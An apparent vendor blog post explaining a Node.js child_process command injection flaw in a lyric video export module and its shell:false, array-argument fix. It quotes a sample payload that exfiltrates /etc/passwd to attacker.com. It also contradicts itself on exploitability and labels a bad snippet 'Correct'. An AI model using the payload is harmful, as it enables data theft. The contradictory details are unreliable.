How Command Injection happens in Node.js Child Process Calls and how to fix it
Introduction
In the lyric video export module (main/ipc/lyricVideoExport.js), a high-severity command injection vulnerability was discovered at line 107 where user-controlled input could flow directly into child_process calls without proper validation or sanitization. This is a web service component, meaning the vulnerability is directly exploitable by remote attackers sending crafted IPC requests. The root issue: untrusted function arguments were being passed unsafely to Node.js process spawning functions, creating an exploit primitive that could allow remote code execution with the application's privileges.
The Vulnerability Explained
What Was Wrong
The vulnerable pattern in lyricVideoExport.js:107 involved calling child_process functions with a command parameter supplied from a function argument:
// VULNERABLE: command argument flows unsafely into child_process
spawn(command, args, { shell: true })
This pattern is dangerous because:
- No trust boundary validation: The
commandparameter comes directly from an IPC request handler with no validation that it's actually an executable binary - Shell interpretation enabled: Using
shell: trueor passing concatenated strings allows shell metacharacters (|,&&,;,$(...),`, etc.) to be interpreted as commands - Lack of sanitization: There's no filtering or escaping of special characters that the shell would interpret as control flow
Attack Scenario
Imagine an attacker sends an IPC request to lyricVideoExport with:
{
"command": "ffmpeg && curl attacker.com/exfil?data=$(cat /etc/passwd)",
"args": [...]
}
If the application accepts this command parameter and passes it to spawn() with shell: true, the attacker achieves:
- ✅ Execution of ffmpeg (legitimate operation)
- ✅ Execution of curl attacker.com/exfil?data=$(cat /etc/passwd) (command injection attack)
The attacker can read sensitive files, exfiltrate data, create reverse shells, or move laterally through the system.
Why This Matters
This vulnerability creates what security researchers call an "exploit primitive"—a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tools. As mentioned in the PR description: "This patch removes an exploit primitive — a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tooling." Modern security tools increasingly use automated reasoning to chain small weaknesses into full exploits. Proactively removing these patterns raises the bar against sophisticated attacks.
The Fix
The fix establishes explicit trust boundaries and refactors the code into ffmpegProbe.js with three critical security improvements:
Before (Vulnerable)
// No explicit trust boundary
// Command could come from untrusted input
spawn(command, args, { shell: true })
After (Hardened)
// NEW FILE: main/ipc/ffmpegProbe.js
export const runProbeProcess = async (executablePath, args, timeoutMs, label) => new Promise((resolve) => {
// Trust boundary: executablePath is resolved at resolveFfmpegPath() ONLY
// It NEVER comes from IPC input
// SECURITY FIX #1: shell:false prevents shell interpretation
// SECURITY FIX #2: args passed as array, not concatenated string
// SECURITY FIX #3: explicit validation via resolveFfmpegPath() trust boundary
const child = spawn(executablePath, args, {
windowsHide: true,
stdio: ['ignore', 'ignore', 'pipe'],
shell: false // ← CRITICAL: Disable shell interpretation
});
// ... timeout and error handling ...
});
The Three Critical Changes
1. Establish Trust Boundary at resolveFfmpegPath()
The code includes this clarifying comment:
// The executable path is resolved internally by resolveFfmpegPath() (the trust boundary):
// a validated configured/bundled path, or the intentional bare `ffmpeg` for OS PATH lookup.
// It is never supplied by the lyric-video export IPC request
This documents that the executable path is always validated before reaching spawn(). The IPC handler cannot inject an arbitrary executable—only provide arguments for a pre-validated command.
2. Disable Shell Interpretation with shell: false
const child = spawn(executablePath, args, { shell: false });
With shell: false:
- Shell metacharacters (|, &&, ;, $(), backticks) are treated as literal characters
- Only the exact executable is run; no shell parsing occurs
- Arguments are passed directly to the program without interpretation
3. Pass Arguments as Array, Not String
// Correct: arguments in array
spawn(executablePath, args, { shell: false });
// Correct: never this pattern with shell:false
spawn(executablePath, ['-c', 'command && injected-command'], { shell: false });
When arguments are an array, each element is passed as-is to the program without any shell parsing.
4. Add Explicit Semgrep Suppression with Justification
// nosemgrep: javascript.lang.security.detect-child-process.detect-child-process
// -- executable resolved at the resolveFfmpegPath() trust boundary, not from IPC input;
// shell:false with array args
const child = spawn(executablePath, args, { windowsHide: true, stdio: [...], shell: false });
This tells security scanners: "We reviewed this call and it's safe because [specific reasons]."
Prevention & Best Practices
For Your Own Code
-
Always use
spawn()orexecFile(), neverexec()
-exec()shells out by default—too dangerous for untrusted input
-spawn()gives you control over shell behavior -
Always set
shell: false
```javascript
// ✅ Safe
spawn('ffmpeg', ['-i', userInput], { shell: false });
// ❌ Dangerous
spawn('ffmpeg', ['-i', userInput], { shell: true });
```
- Validate and establish trust boundaries early
```javascript
// ✅ Trust boundary: validate executable once
const ffmpeg = resolveFfmpegPath(); // Returns '/usr/bin/ffmpeg' or error
spawn(ffmpeg, userArgs, { shell: false }); // Safe: ffmpeg is pre-validated
// ❌ No trust boundary
spawn(userSuppliedExecutable, userArgs, { shell: false }); // Dangerous!
```
-
Use static analysis to find vulnerable patterns
- Semgrep rule:javascript.lang.security.detect-child-process.detect-child-process
- ShiftLeft, Snyk, CodeQL also detect this pattern
- Review all findings manually—not all are exploitable, but all are worth auditing -
When shellMetacharacters might be needed, use a allowlist, not concatenation
``javascript // ❌ Dangerous: concatenation allows injection spawn('bash', ['-c',cat ${filename}`], { shell: false });
// ✅ Better: use arrays
spawn('cat', [filename], { shell: false });
// ✅ If you must use shell features, validate strictly
if (!/^[a-zA-Z0-9._-]+$/.test(filename)) throw new Error('Invalid filename');
spawn('bash', ['-c', cat ${filename}], { shell: false });
```
Static Analysis Configuration
To catch this in your CI/CD pipeline:
# Using Semgrep
semgrep --config=p/security-audit main/ipc/
# Catch the specific rule
semgrep --config='rule:javascript.lang.security.detect-child-process.detect-child-process' src/
In your .semgrep.yml or CI configuration, enable this rule and require manual review of all findings before merging.
References to OWASP and CWE
- OWASP A03:2021 – Injection: This vulnerability is a form of command injection, one of the top three OWASP categories
- CWE-78: OS Command Injection: The exact classification
- CWE-94: Improper Control of Generation of Code: Related—when shell interpretation allows unintended code execution
Key Takeaways
- Never pass user-controlled input as the executable path to
spawn()— Always validate the executable at an explicit trust boundary before spawning shell: falseis mandatory for untrusted input — Even withshell: false, validate and sanitize the arguments passed to the spawned process- Array arguments prevent shell interpretation — Pass arguments as an array, never as a concatenated string where shell metacharacters could be misinterpreted
- Document your trust boundaries explicitly — Use comments in the code to explain why a particular
spawn()call is safe, making it easier for reviewers and future maintainers to understand the security reasoning - Semgrep correctly flagged this pattern — Automated security scanning found the vulnerability; the fix proves that establishing clear trust boundaries resolves the underlying risk
How Orbis AppSec Detected This
Source: User-supplied arguments flowing into lyricVideoExport.js via IPC handler
Sink: spawn(executablePath, args, ...) call at line 107 in lyricVideoExport.js without validation that the command argument comes from a trusted source
Missing control: No verification that the command parameter was validated through a trust boundary; no shell: false flag; arguments not explicitly passed as array
CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix: Refactor into ffmpegProbe.js with resolveFfmpegPath() as the trust boundary, set shell: false, pass args as array, and add explicit Semgrep suppression with justification
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Command injection remains one of the most dangerous vulnerabilities in production systems because it grants attackers OS-level code execution with the privileges of the application process. In this case, a web service component was exposed to remote exploitation through unsafe child_process calls.
The fix is straightforward but critical: establish explicit trust boundaries, disable shell interpretation with shell: false, and pass arguments as arrays. By applying these three principles, developers eliminate an entire class of OS command injection attacks.
The lesson here extends beyond this specific fix: security vulnerabilities often result from mixing trusted and untrusted data without clear boundaries. Always ask yourself: "Where does this data come from, and have I validated it?" When the answer is unclear, that's a signal to add explicit comments and trust boundaries—exactly what this fix demonstrates.
As automated exploit tools become more sophisticated, proactively removing exploit primitives like this one is no longer optional—it's a best practice that raises the bar for attackers and makes your application measurably more secure.